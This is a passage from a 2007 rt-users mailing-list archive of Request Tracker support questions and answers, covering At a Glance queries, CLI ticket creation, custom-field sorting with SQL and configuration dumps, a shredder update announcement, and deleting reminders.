reading my rather long post.

-- 
http://gentgeen.homelinux.org

#############################################################
 Associate yourself with men of good quality if you esteem    
 your own reputation; for 'tis better to be alone then in bad 
 company.        - George Washington, Rules of Civility


From joe.casadonte at oracle.com  Sat Feb 10 09:18:05 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 10 Feb 2007 09:18:05 -0500
Subject: [rt-users] 3.6.3 - reverting back to default query/results
In-Reply-To: <20070209214948.GT25008@bestpractical.com>
References: <45CCDA70.3050202@oracle.com>
	<20070209214948.GT25008@bestpractical.com>
Message-ID: <45CDD41D.7090204@oracle.com>

On 2/9/2007 4:49 PM, Jesse Vincent wrote:
> 
> 
> On Fri, Feb 09, 2007 at 03:32:48PM -0500, Joe Casadonte wrote:
>> Is there a way in 3.6.3 for a user to revert back to the default query 
>> and query results for the At a glance portlets?  Thanks!
>>
> 
> Sure thing. There should be a "reset" button on their RT at a glance
> preferences page.

Thanks, though I'm not really sure if it's doing what I want.  I have 
two users: A and root.  I changed A's query, then changed the default 
query via root and tried to undo the default query change by pasting 
back into the Advanced tab the original values that were there.  Then I 
reverted user A with the reset button as you suggested.  I'm not seeing 
the 'Take' link for either user A or root, though the column 'loc(Take)' 
does show up for both of them if I edit the At a Glance via prefs.

A third user, to whom I added a column before I changed the default 
query as root, still has the 'Take' link.

Hmmmm.....

The Take link only gets added to the format string if I add a column, in 
  Search/Elements/BuildFormatString.  By pasting the original text in 
under the advanced screen, did I by-pass the BuildFormatString?  The 
original text I pasted back is:

'<a>__id__</a>/TITLE:#',
'<a>__Subject__</a>/TITLE:Subject',
'__QueueName__',
'__ExtendedStatus__',
'__CreatedRelative__',
'<a>__loc(Take)__</a>/TITLE:&nbsp; '

I've already tried getting rid of the <a> & </a> but they keep coming 
back....

If I get rid of the 'Take' link by changing the base query, how can I 
add it back for those few users who need it?

Thanks for the help!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From torsten.brumm at googlemail.com  Sat Feb 10 09:25:50 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Sat, 10 Feb 2007 15:25:50 +0100
Subject: [rt-users] RT CLI and LineBreaks - again...
Message-ID: <bdbd084b0702100625s72ea1c79h199778a22bda2244@mail.gmail.com>

Hi RT Users,

searched around the list and couldn't find any solution yet.

The Problem. Creating Tickets via RT Command Line Tool (rt)

Creating a Ticket with: ./rt create -t ticket

opens the editor like:

# Required: id, Queue

id: ticket/new
Queue:
Requestor: rt
Subject:
Cc:
AdminCc:
Owner:
Status: new
Priority:
InitialPriority:
FinalPriority:
TimeEstimated: 0
Starts: 2007-02-07 10:25:18
Due: 2007-02-07 10:25:18
Text:

Now i try to set the following:

# Please resubmit with errors corrected.

--

# Syntax error.

id: ticket/new
Queue: IBTest
Requestor: rt
Subject: Das ist der Betreff
Cc:
AdminCc:
Owner:
Status: new
Priority:
InitialPriority:
FinalPriority:
TimeEstimated:
Starts: 2007-02-07 10:25:18
Due: 2007-02-07 10:25:18
Text: Hier soll der Text stehen
>> Das ist zeiele 2
and this line 3

So it looks like the Text: Part is not allowing multi line Text.

Any ideas or hints???

Thanks

Torsten

-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From joe.casadonte at oracle.com  Sat Feb 10 10:28:29 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 10 Feb 2007 10:28:29 -0500
Subject: [rt-users] 3.6.3 - reverting back to default query/results
In-Reply-To: <45CDD41D.7090204@oracle.com>
References: <45CCDA70.3050202@oracle.com>	<20070209214948.GT25008@bestpractical.com>
	<45CDD41D.7090204@oracle.com>
Message-ID: <45CDE49D.90309@oracle.com>

On 2/10/2007 9:18 AM, Joe Casadonte wrote:

> '<a>__id__</a>/TITLE:#',
> '<a>__Subject__</a>/TITLE:Subject',
> '__QueueName__',
> '__ExtendedStatus__',
> '__CreatedRelative__',
> '<a>__loc(Take)__</a>/TITLE:&nbsp; '
> 
> I've already tried getting rid of the <a> & </a> but they keep coming 
> back....

I should never post before breakfast -- I'm not playing with a full deck....

OK, I've finally figured out what the <a> & </a> are for (though in my 
defense, the first time I had seen them they had been encoded, due to a 
friendly browser cut and paste) and how to get them in there.  My 
remaining question is how to get the word 'Take' in there, using a 
regular user's preferences screen.  Do I have to do this via SQL?

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From Lists at bowesit.com  Sat Feb 10 11:30:42 2007
From: Lists at bowesit.com (Glen L. Bowes)
Date: Sat, 10 Feb 2007 11:30:42 -0500
Subject: [rt-users] System wide change of "RT"
Message-ID: <C18647DD8A4C3A49AF77CCEDE58E50DC134376@SBS.bits.lan>

Is it possible to make a system-wide change of the string "RT" on the
web interface and in email messages? I believe this is in accordance
with the license agreement but please, if I'm wrong about that, let me
know.

I would like to name the system "webtracker" rather than RT on the all
interfaces a user can see. For example, "RT at a glance" would become
"Webtracker at a glance" and anywhere else "RT" would appear.

Many thanks!



Glen



From joe.casadonte at oracle.com  Sat Feb 10 14:33:50 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 10 Feb 2007 14:33:50 -0500
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
Message-ID: <45CE1E1E.7010308@oracle.com>

Using RT 3.6.3 with Oracle 10.2.0.2, I'm having trouble sorting on my 
custom fields.  As far as I can remember, all tests passed when I first 
installed the system, and test 23cfsort.t specifically still passes:

$ prove -I/opt/rt3/lib -v lib/t/setup_regression.t 
lib/t/regression/23cfsort.t
lib/t/setup_regression.......ok 1
ok 2 - Basic initialization and DB connectivity
ok 3 - use RT::Queue;
[Sat Feb 10 17:50:55 2007] [crit]: Regression tests not starting with a 
clean DB. Bailing at lib/t/setup_regression.t line 15. 
(/opt/rt3/lib/RT.pm:345)

Stack trace:
         RT::__ANON__() called at lib/t/setup_regression.t:15
Regression tests not starting with a clean DB. Bailing at 
lib/t/setup_regression.t line 15.
1..3
ok
lib/t/regression/23cfsort....1..15
ok 1 - CFSortQueue-11517 test queue creation. Queue created
ok 2 - Custom Field Order created
ok 3 - Custom Field Alpha created
ok 4 - Custom Field Beta created
ok 5 - Custom Field Charlie created
ok 6 - We found 2 tickets when lookign for cf charlie
ok 7 - Ordered correctly: 1 2
ok 8 - We found two tickets when sorting by cf charlie without limiting 
to it
ok 9 - Ordered correctly: 2 1
ok 10
ok 11 - Ordered correctly: 1 2
ok 12
ok 13 - Ordered correctly: 3 2 1
ok 14
ok 15 - Ordered correctly: 2 3 1
ok
All tests successful.
Files=2, Tests=18,  6 wallclock secs ( 3.84 cusr +  0.73 csys =  4.57 CPU)
$

And yet, my tickets are not being sorted on either a numeric field (ASC 
or DESC) or a select field (with 5 values).  On the simplest search I 
did I only had 2 columns in the results (id + numeric custom field). 
Pulling some SQL out of log and running it in SQL*Plus returns the same 
results as on screen (go figure).  Here's one of the queries:

SELECT * FROM ( SELECT limitquery.*,rownum limitrownum FROM ( SELECT 
main.* FROM ( SELECT main.id FROM ((((Tickets main  LEFT JOIN 
ObjectCustomFields ObjectCustomFields_1  ON 
((ObjectCustomFields_1.ObjectId = '0')) OR ( 
ObjectCustomFields_1.ObjectId = main.Queue))  LEFT JOIN CustomFields 
CustomFields_2  ON ( CustomFields_2.id = 
ObjectCustomFields_1.CustomField))  LEFT JOIN ObjectCustomFieldValues 
ObjectCustomFieldValues_3  ON ((ObjectCustomFieldValues_3.ObjectId = 
main.id)) AND (  ObjectCustomFieldValues_3.CustomField = 
CustomFields_2.id) AND ( (ObjectCustomFieldValues_3.Disabled = '0')) AND 
( (ObjectCustomFieldValues_3.ObjectType = 'RT::Ticket')))  LEFT JOIN 
CustomFieldValues CustomFieldValues_4  ON ((CustomFieldValues_4.Name = 
ObjectCustomFieldValues_3.Content)) AND ( 
CustomFieldValues_4.CustomField = 
ObjectCustomFieldValues_3.CustomField))   WHERE ((main.EffectiveId = 
main.id)) AND ((main.Status != 'deleted')) AND ((main.Type = 'ticket')) 
AND ( ( (main.Owner = '86') ) )   GROUP BY main.id   ORDER BY 
min(CustomFieldValues_4.SortOrder) ASC, 
min(ObjectCustomFieldValues_3.Content) ASC  ) distinctquery, Tickets 
main WHERE (main.id = distinctquery.id) ) limitquery WHERE rownum <= 50 
) WHERE limitrownum >= 1;


Here's what I'm testing with.  CF1 is a single-value select with values:

Sort  Value
----  -----
  1     FOO
  2     BAR
  3     BAZ

CF2 is a simple numeric field.  Here are the tickets:

id   CF1     CF2
===  ======  ===
  1   BAR     0.1
  2   FOO     0.1
  3   BAZ     0.1
21   FOO     23
22   FOO     23
41   FOO     3
42   BAZ     0
55   FOO     0.5
56   FOO     0

With only these three fields in the results, sorting on CF2 ASC, I get:

56   FOO     0
  2   FOO     0.1
55   FOO     0.5
22   FOO     23
21   FOO     23
41   FOO     3
  1   BAR     0.1
42   BAZ     0
  3   BAZ     0.1

It seems to be sorting on CF1 ASC then CF2 ASC lexicographically.

If I switch the column order in which the results are shown, I still get 
the same sort:

56     0     FOO
  2     0.1   FOO
55     0.5   FOO
22     23    FOO
21     23    FOO
41     3     FOO
  1     0.1   BAR
42     0     BAZ
  3     0.1   BAZ

If I change the CF2 sort to DESC, I get the exact opposite results
(except 21 & 22, which have identical values for both fields):

  3     0.1   BAZ
42     0     BAZ
  1     0.1   BAR
41     3     FOO
22     23    FOO
21     23    FOO
55     0.5   FOO
  2     0.1   FOO
56     0     FOO

If I remove CF1 from the results, there is no change in the ticket
sort order:

  3     0.1
42     0
  1     0.1
41     3
22     23
21     23
55     0.5
  2     0.1
56     0

If I remove CF2 from the ORDER BY, replacing with ID, I get the
expected results:

  1     0.1
  2     0.1
  3     0.1
21     23
22     23
41     3
42     0
55     0.5
56     0

If I put CF2 back as the first sort (DESC), and add ID as the second
sort (ASC), I get the same results as before, except 21 & 22 are now
in ID order:

  3     0.1
42     0
  1     0.1
41     3
21     23
22     23
55     0.5
  2     0.1
56     0

 From all of this, it looks like:

1) if any CF is included in the ORDER BY criteria, then all are used
2) they are used in increasing ID order
3) Numeric CFs sort lexicographically

Thanks for any help given/offered!


Here's my System Configuration:

Perl v5.8.5 under linux
   Apache::Session v1.81;
   Apache::Session::File v1.54;
   Apache::Session::Generate::MD5 v2.1;
   Apache::Session::Lock::File v1.02;
   Apache::Session::Serialize::Storable v1.00;
   Apache::Session::Store::File v1.02;
   AutoLoader v5.60;
   base v2.06;
   Benchmark v1.06;
   bytes v1.01;
   Cache::Simple::TimedExpiry v0.27;
   Carp v1.03;
   CGI v3.05;
   CGI::Cookie v1.24;
   CGI::Fast v1.05;
   CGI::Util v1.5;
   Class::Container v0.12;
   Class::Data::Inheritable v0.06;
   Class::ReturnValue v0.53;
   Clone v0.22;
   constant v1.04;
   Cwd v3.24;
   Data::Dumper v2.121;
   Date::Format v2.22;
   Date::Parse v2.27;
   DBD::Oracle v1.19;
   DBI v1.53;
   DBIx::SearchBuilder v1.45;
   DBIx::SearchBuilder::Union v0;
   DBIx::SearchBuilder::Unique v0.01;
   Devel::StackTrace v1.13;
   Devel::StackTraceFrame v0.6;
   Digest::base v1.00;
   Digest::MD5 v2.33;
   DynaLoader v1.05;
   Encode v2.01;
   Encode::Alias v2.00;
   Encode::Config v2.00;
   Encode::Encoding v2.00;
   Encode::Guess v2.00;
   Encode::Unicode v2.00;
   Errno v1.09;
   Exception::Class v1.23;
   Exception::Class::Base v1.2;
   Exporter v5.58;
   Exporter::Heavy v5.58;
   FCGI v0.67;
   Fcntl v1.05;
   File::Basename v2.73;
   File::Glob v1.03;
   File::Path v1.06;
   File::Spec v3.24;
   File::Spec::Unix v1.5;
   File::Temp v0.17;
   FileHandle v2.01;
   HTML::Element v3.23;
   HTML::Entities v1.35;
   HTML::Formatter v2.04;
   HTML::FormatText v2.04;
   HTML::Mason v1.35;
   HTML::Mason::CGIHandler v1.00;
   HTML::Mason::Exception v1.1;
   HTML::Mason::Exception::Abort v1.1;
   HTML::Mason::Exception::Compilation v1.1;
   HTML::Mason::Exception::Compilation::IncompatibleCompiler v1.1;
   HTML::Mason::Exception::Compiler v1.1;
   HTML::Mason::Exception::Decline v1.1;
   HTML::Mason::Exception::Params v1.1;
   HTML::Mason::Exception::Syntax v1.1;
   HTML::Mason::Exception::System v1.1;
   HTML::Mason::Exception::TopLevelNotFound v1.1;
   HTML::Mason::Exception::VirtualMethod v1.1;
   HTML::Mason::Exceptions v1.43;
   HTML::Parser v3.56;
   HTML::Scrubber v0.08;
   HTML::Tagset v3.03;
   HTML::TreeBuilder v3.23;
   HTTP::Date v1.46;
   I18N::LangTags v0.33;
   I18N::LangTags::Detect v1.03;
   integer v1.00;
   IO v1.21;
   IO::File v1.10;
   IO::Handle v1.24;
   IO::InnerFile v2.110;
   IO::Lines v2.110;
   IO::Scalar v2.110;
   IO::ScalarArray v2.110;
   IO::Seekable v1.09;
   IO::Wrap v2.110;
   IO::WrapTie v2.110;
   IPC::Open2 v1.01;
   IPC::Open3 v1.0106;
   lib v0.5565;
   List::Util v1.19;
   Locale::Maketext v1.09;
   Locale::Maketext::Fuzzy v0.02;
   Locale::Maketext::Lexicon v0.62;
   Locale::Maketext::Lexicon::Gettext v0.15;
   Log::Dispatch v2.16;
   Log::Dispatch::Base v1.09;
   Log::Dispatch::File v1.22;
   Log::Dispatch::Output v1.26;
   Log::Dispatch::Screen v1.17;
   Log::Dispatch::Syslog v1.18;
   Mail::Address v1.74;
   Mail::Field v1.74;
   Mail::Field::AddrList v1.74;
   Mail::Field::Date v1.74;
   Mail::Header v1.74;
   Mail::Internet v1.74;
   MIME::Base64 v3.07;
   MIME::Body v5.420;
   MIME::Decoder v5.420;
   MIME::Decoder::NBit v5.420;
   MIME::Entity v5.420;
   MIME::Field::ContDisp v5.420;
   MIME::Field::ConTraEnc v5.420;
   MIME::Field::ContType v5.420;
   MIME::Field::ParamVal v5.420;
   MIME::Head v5.420;
   MIME::Parser v5.420;
   MIME::QuotedPrint v3.07;
   MIME::Tools v5.420;
   MIME::Words v5.420;
   Module::Refresh v0.09;
   Module::Versions::Report v1.02;
   overload v1.01;
   Params::Validate v0.85;
   POSIX v1.08;
   re v0.04;
   Regexp::Common v2.120;
   Regexp::Common::delimited v2.104;
   RT v3.6.3;
   RT::Interface::Email v2;
   Scalar::Util v1.19;
   SelectSaver v1.00;
   Socket v1.77;
   Storable v2.13;
   strict v1.03;
   Symbol v1.05;
   Sys::Hostname v1.11;
   Sys::Syslog v0.08;
   Text::Autoformat v1.13;
   Text::Quoted v1.8;
   Text::Reform v1.11;
   Text::Tabs v98.112801;
   Text::Template v1.44;
   Text::Wrapper v1.000;
   Time::HiRes v1.55;
   Time::JulianDay v2003.1125;
   Time::Local v1.1;
   Time::ParseDate v2006.0814;
   Time::Timezone v2006.0814;
   Time::Zone v2.22;
   Tree::Simple v1.17;
   UNIVERSAL v1.01;
   UNIVERSAL::require v0.11;
   URI v1.30;
   URI::Escape v3.22;
   URI::URL v5.03;
   URI::WithBase v2.19;
   utf8 v1.04;
   vars v1.01;
   warnings v1.03;
   warnings::register v1.00;
   XSLoader v0.02;


RT Variables
RT::BasePath /opt/rt3
RT::BinPath /opt/rt3/bin
RT::CORE_CONFIG_FILE /opt/rt3/etc/RT_Config.pm
RT::CanonicalizeOnCreate 1
RT::CommentAddress request at localhost
RT::CorrespondAddress request at localhost
RT::DatabaseHost localhost
RT::DatabaseName request
RT::DatabasePassword Password not printed
RT::DatabaseRTHost localhost
RT::DatabaseType Oracle
RT::DatabaseUser request
RT::DateDayBeforeMonth 1
RT::DefaultSearchResultFormat '<B><A 
HREF="/Ticket/Display.html?id=__id__">__id__</a></B>/TITLE:#', '<B><A 
HREF="/Ticket/Display.html?id=__id__">__Subject__</a></B>/TITLE:Subject', 
Status, QueueName, OwnerName, Priority, '__NEWLINE__', '', 
'<small>__Requestors__</small>', '<small>__CreatedRelative__</small>', 
'<small>__ToldRelative__</small>', 
'<small>__LastUpdatedRelative__</small>', '<small>__TimeLeft__</small>'
RT::DefaultSummaryRows 10
RT::DevelMode 1
RT::EmailOutputEncoding utf-8
RT::EtcPath /opt/rt3/etc
RT::FriendlyFromLineFormat "%s via RT" <%s>
RT::FriendlyToLineFormat "%s of XXX Ticket #%s":;
RT::LocalEtcPath /opt/rt3/local/etc
RT::LocalLexiconPath /opt/rt3/local/po
RT::LocalPath /opt/rt3/local
RT::LogDir /opt/rt3/var/log
RT::LogStackTraces 1
RT::LogToFile debug
RT::LogToFileNamed rt.log
RT::LogToScreen error
RT::LogToSyslog error
RT::LogoURL /NoAuth/images/bplogo.gif
RT::LoopsToRTOwner 1
RT::MailCommand sendmailpipe
RT::MasonComponentRoot /opt/rt3/share/html
RT::MasonDataDir /opt/rt3/var/mason_data
RT::MasonLocalComponentRoot /opt/rt3/local/html
RT::MasonSessionDir /opt/rt3/var/session_data
RT::MaxAttachmentSize 10000000
RT::MaxInlineBody 13456
RT::MessageBoxWidth 72
RT::MessageBoxWrap HARD
RT::MinimumPasswordLength 5
RT::Organization XXX
RT::OwnerEmail joe at localhost
RT::ParseNewMessageForTicketCcs 1
RT::RTAddressRegexp ^request\@localhost$
RT::RecordOutgoingEmail 1
RT::RedistributeAutoGeneratedMessages privileged
RT::SITE_CONFIG_FILE /opt/rt3/etc/RT_SiteConfig.pm
RT::SendmailArguments -oi -t
RT::SendmailBounceArguments -f "<>"
RT::SendmailPath /usr/sbin/sendmail
RT::ShowTransactionImages 1
RT::StatementLog debug
RT::StrictLinkACL 1
RT::Timezone US/Eastern
RT::UseFriendlyFromLine 1
RT::VERSION 3.6.3
RT::VarPath /opt/rt3/var
RT::WebBaseURL http://localhost
RT::WebDefaultStylesheet 3.5-default
RT::WebFlushDbCacheEveryRequest 1
RT::WebImagesURL /NoAuth/images/
RT::WebPort 80
RT::WebURL http://localhost/
RT::rtname XXX

Perl configuration
Summary of my perl5 (revision 5 version 8 subversion 5) configuration:
   Platform:
     osname=linux, osvers=2.6.9-22.18.bz155725.elsmp, 
archname=i386-linux-thread-multi
     uname='linux hs20-bc1-4.build.redhat.com 2.6.9-22.18.bz155725.elsmp 
#1 smp thu nov 17 15:34:08 est 2005 i686 i686 i386 gnulinux '
     config_args='-des -Doptimize=-O2 -g -pipe -m32 -march=i386 
-mtune=pentium4 -Dversion=5.8.5 -Dmyhostname=localhost 
-Dperladmin=root at localhost -Dcc=gcc -Dcf_by=Red Hat, Inc. 
-Dinstallprefix=/usr -Dprefix=/usr -Darchname=i386-linux 
-Dvendorprefix=/usr -Dsiteprefix=/usr -Duseshrplib -Dusethreads 
-Duseithreads -Duselargefiles -Dd_dosuid -Dd_semctl_semun -Di_db 
-Ui_ndbm -Di_gdbm -Di_shadow -Di_syslog -Dman3ext=3pm -Duseperlio 
-Dinstallusrbinperl -Ubincompat5005 -Uversiononly -Dpager=/usr/bin/less 
-isr -Dinc_version_list=5.8.4 5.8.3 5.8.2 5.8.1 5.8.0'
     hint=recommended, useposix=true, d_sigaction=define
     usethreads=define use5005threads=undef useithreads=define 
usemultiplicity=define
     useperlio=define d_sfio=undef uselargefiles=define usesocks=undef
     use64bitint=undef use64bitall=undef uselongdouble=undef
     usemymalloc=n, bincompat5005=undef
   Compiler:
     cc='gcc', ccflags ='-D_REENTRANT -D_GNU_SOURCE -DDEBUGGING 
-fno-strict-aliasing -pipe -I/usr/local/include -D_LARGEFILE_SOURCE 
-D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm',
     optimize='-O2 -g -pipe -m32 -march=i386 -mtune=pentium4',
     cppflags='-D_REENTRANT -D_GNU_SOURCE -DDEBUGGING 
-fno-strict-aliasing -pipe -I/usr/local/include -I/usr/include/gdbm'
     ccversion='', gccversion='3.4.6 20060404 (Red Hat 3.4.6-2)', 
gccosandvers=''
     intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234
     d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
     ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', 
lseeksize=8
     alignbytes=4, prototype=define
   Linker and Libraries:
     ld='gcc', ldflags =' -L/usr/local/lib'
     libpth=/usr/local/lib /lib /usr/lib
     libs=-lresolv -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc
     perllibs=-lresolv -lnsl -ldl -lm -lcrypt -lutil -lpthread -lc
     libc=/lib/libc-2.3.4.so, so=so, useshrplib=true, libperl=libperl.so
     gnulibc_version='2.3.4'
   Dynamic Linking:
     dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E 
-Wl,-rpath,/usr/lib/perl5/5.8.5/i386-linux-thread-multi/CORE'
     cccdlflags='-fPIC', lddlflags='-shared -L/usr/local/lib'




-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com


From joe.casadonte at oracle.com  Sat Feb 10 23:04:47 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 10 Feb 2007 23:04:47 -0500
Subject: [rt-users] 3.6.3 - Does At a Glance use COLUMN_MAP?
Message-ID: <45CE95DF.9040503@oracle.com>

I'm attempting to implement some callback stuff to highlight different 
priorities in color (e.g. 
http://wiki.bestpractical.com/index.cgi?ShowStatusInColor) but it 
doesn't seem to have any effect in the At a Glance query results.  For 
regular queries, it's working, but not for At a Glance.  I guess it's 
not used here?

-- 
Regards,


joe

  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|           Joe Casadonte           |  joe.casadonte at oracle.com     |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| Oracle Transportation Management  |  1016 West Ninth Avenue       |
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|  Suite 300                    |
|           610-491-3315            |  King of Prussia, PA  19406   |
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From joe.casadonte at oracle.com  Sat Feb 10 23:07:49 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Sat, 10 Feb 2007 23:07:49 -0500
Subject: [rt-users] 3.6.3 - Does At a Glance use COLUMN_MAP?
In-Reply-To: <45CE95DF.9040503@oracle.com>
References: <45CE95DF.9040503@oracle.com>
Message-ID: <45CE9695.3070604@oracle.com>

On 2/10/2007 11:04 PM, Joe Casadonte wrote:
> I'm attempting to implement some callback stuff to highlight different 
> priorities in color (e.g. 
> http://wiki.bestpractical.com/index.cgi?ShowStatusInColor) but it 
> doesn't seem to have any effect in the At a Glance query results.  For 
> regular queries, it's working, but not for At a Glance.  I guess it's 
> not used here?

Gah!  Two seconds after I send the email.....I was messing with 'Status' 
and not 'ExtendedStatus' as I should have been.....

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com



From mhoskins at ironport.com  Sun Feb 11 03:28:26 2007
From: mhoskins at ironport.com (Michael Hoskins)
Date: Sun, 11 Feb 2007 00:28:26 -0800
Subject: [rt-users] RTx-Statistics
Message-ID: <1171182506.8029.25.camel@bender>

i use RTx-Statistics, and recently upgraded to RT 3.6.3.  i ran into a
couple problems, and searched the list archives.  that helped me fix
things up well enough to mostly work, but it's still not perfect.  i
managed to find a couple threads where others had issues similar to mine
(a couple of the reports aren't working), but not an exact fix.  if
anyone has a link or patches handy, it would be much appreciated.
thanks!
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From ruslan.zakirov at gmail.com  Sun Feb 11 04:08:30 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Sun, 11 Feb 2007 12:08:30 +0300
Subject: [rt-users] [ANNOUNCE] an improved shredding machine available now
Message-ID: <589c94400702110108r2be3a877m58392930038a4e09@mail.gmail.com>

  Hi, boys and girls.

I'm proud to announce availability of an update to the shredder. It
has a new operation mode, but the most of improvements are protective
measures to prevent cutting your fingers or what's more scaring your
arms up to the shoulders during shred. Order it now in the nearest
CPAN store.

I'm emphatically recommending you to read the following thread ([1])
to understand a bug that exists in the previous versions of shredder,
how to check if your system is affected and fix it.

Change log:
    * fea: no_tickets option in Users plugin
    * fix: no validation of mail and name in Users plugin as
           it's been broken
    * fix: there was typo in the Users plugin
    * fix: delete scrips with queues
    * fix: with a template delete scrips using it
    * fix: delete txns that refer to the current record with
           ReferenceType, OldReference and NewReference fields
    * fix: delete {Add,Del}Watcher transactions with principals
    * fea: more tests

[1] http://www.gossamer-threads.com/lists/rt/users/62963

-- 
Best regards, Ruslan.


From todd at chaka.net  Sun Feb 11 09:32:52 2007
From: todd at chaka.net (Todd Chapman)
Date: Sun, 11 Feb 2007 09:32:52 -0500
Subject: [rt-users] RTx::AssetTracker on Debian RT
In-Reply-To: <20070209214429.09a982a3@localhost.localdomain>
References: <20070209214429.09a982a3@localhost.localdomain>
Message-ID: <20070211143252.GQ11914@erie.mg2.org>

On Fri, Feb 09, 2007 at 09:44:29PM -0500, Gentgeen wrote:
> 
> First, I want to thank Todd for sending me AT.
> 
> I finally had some time to look it over, and now I am a bit nervous :-/
> 
> I have a Debian Stable install, with RT 3.4 installed via the Debian
> repository.  The readme for AT has you running ./configure with a number
> of options based on a standard RT install (ie in /opt/rt3).  
> 
>   ./configure --with-rt-home=/opt/rt3 \
>               --with-rt-local=/opt/rt3 \
>               --with-rt-localhtml=/opt/rt3/share/html \
>               --with-db-admin=root
> 
> and then you run patch:
>   $ cd /opt/rt3
>   # Now patch for your version of RT if you want asset history \
>     to record tickets properly
>   $ patch -p0 < at/etc/upgrade/RT-3.4.x.patch
>   $ cd -
>   $ make install
> 
> 
> Can I do this with my Debian installed version of RT?  Or am I just
> begging for trouble by doing so?  Has anyone else installed AT on a
> stock Debian system?
> 

If you are running RT 3.6.* no patching is required.

-Todd



From christoph.lange at gmail.com  Mon Feb 12 04:12:21 2007
From: christoph.lange at gmail.com (Christoph Lange)
Date: Mon, 12 Feb 2007 10:12:21 +0100
Subject: [rt-users] Getting rid of Reminders?
Message-ID: <580828440702120112j1912b842h4fb545070487e302@mail.gmail.com>

Dear all,

I set a reminder, and it's not stopping reminding me ;-) Where can I
delete reminders again? Trouble is, it belongs to a closed ticket ...

Cheers,
Christoph.

-- 
Dipl.-Biol. Christoph Lange
Dr.-Ruckert-Str. 9b
28865 Lilienthal


From mike.peachey at jennic.com  Mon Feb 12 04:15:35 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Mon, 12 Feb 2007 09:15:35 +0000
Subject: [rt-users] Getting rid of Reminders?
In-Reply-To: <580828440702120112j1912b842h4fb545070487e302@mail.gmail.com>
References: <580828440702120112j1912b842h4fb545070487e302@mail.gmail.com>
Message-ID: <45D03037.8070701@jennic.com>

Christoph Lange wrote:
> Dear all,
>
> I set a reminder, and it's not stopping reminding me ;-) Where can I
> delete reminders again? Trouble is, it belongs to a closed ticket ...
>
> Cheers,
> Christoph.
>

Whether closed or not, the ticket still exists - go directly to the main
ticket page and the reminder(s) should be displayed on that page with
check box(es) nest to them. To clear the reminders, select the
checkboxes and apply.
-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From christoph.lange at gmail.com  Mon Feb 12 06:44:33 2007
From: christoph.lange at gmail.com (Christoph Lange)
Date: Mon, 12 Feb 2007 12:44:33 +0100
Subject: [rt-users] Getting rid of Reminders?
In-Reply-To: <45D03037.8070701@jennic.com>
References: <580828440702120112j1912b842h4fb545070487e302@mail.gmail.com>
	<45D03037.8070701@jennic.com>
Message-ID: <580828440702120344t14a81e7eh911df0921c971502@mail.gmail.com>

Hi!

> Whether closed or not, the ticket still exists - go directly to the main
> ticket page and the reminder(s) should be displayed on that page with
> check box(es) nest to them. To clear the reminders, select the
> checkboxes and apply.

Ok, I now did it with a 'delete from Links where id=5'. But: as base
as well as as target I get something like

  "fsck.com-rt://example.com/ticket/11"

for my reminders in the Link table. Is this correct, even when having
set the site name to something different than example.com?! Also, my
mails get an identifier including the string example.com ...

-cl

-- 
Dipl.-Biol. Christoph Lange
Dr.-Ruckert-Str. 9b
28865 Lilienthal


From ZFortna at cxtec.com  Mon Feb 12 07:53:15 2007
From: ZFortna at cxtec.com (Zachary Fortna)
Date: Mon, 12 Feb 2007 07:53:15 -0500
Subject: [rt-users] First Contact Query
Message-ID: <25AC2CBEEFA22F49BC36DED1250EB6A81B952E05@cxmailx.ad.cxtec.com>

Our helpdesk is going to implement a standard of making contact with the
requestor within 30 minutes of the ticket being created.  I need to
write a query to find the number of tickets that fall into that category
for a given time period.  I know I'm looking for the time difference
between the creation query and first transaction on that ticket, but
can't get the query right. 
 
Any help would be greatly appreciated.  
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From JoopvandeWege at mococo.nl  Mon Feb 12 09:32:01 2007
From: JoopvandeWege at mococo.nl (Joop)
Date: Mon, 12 Feb 2007 15:32:01 +0100
Subject: [rt-users] 3.6.3 - sorting on Custom Fields still not working?
In-Reply-To: <45CE1E1E.7010308@oracle.com>
References: <45CE1E1E.7010308@oracle.com>
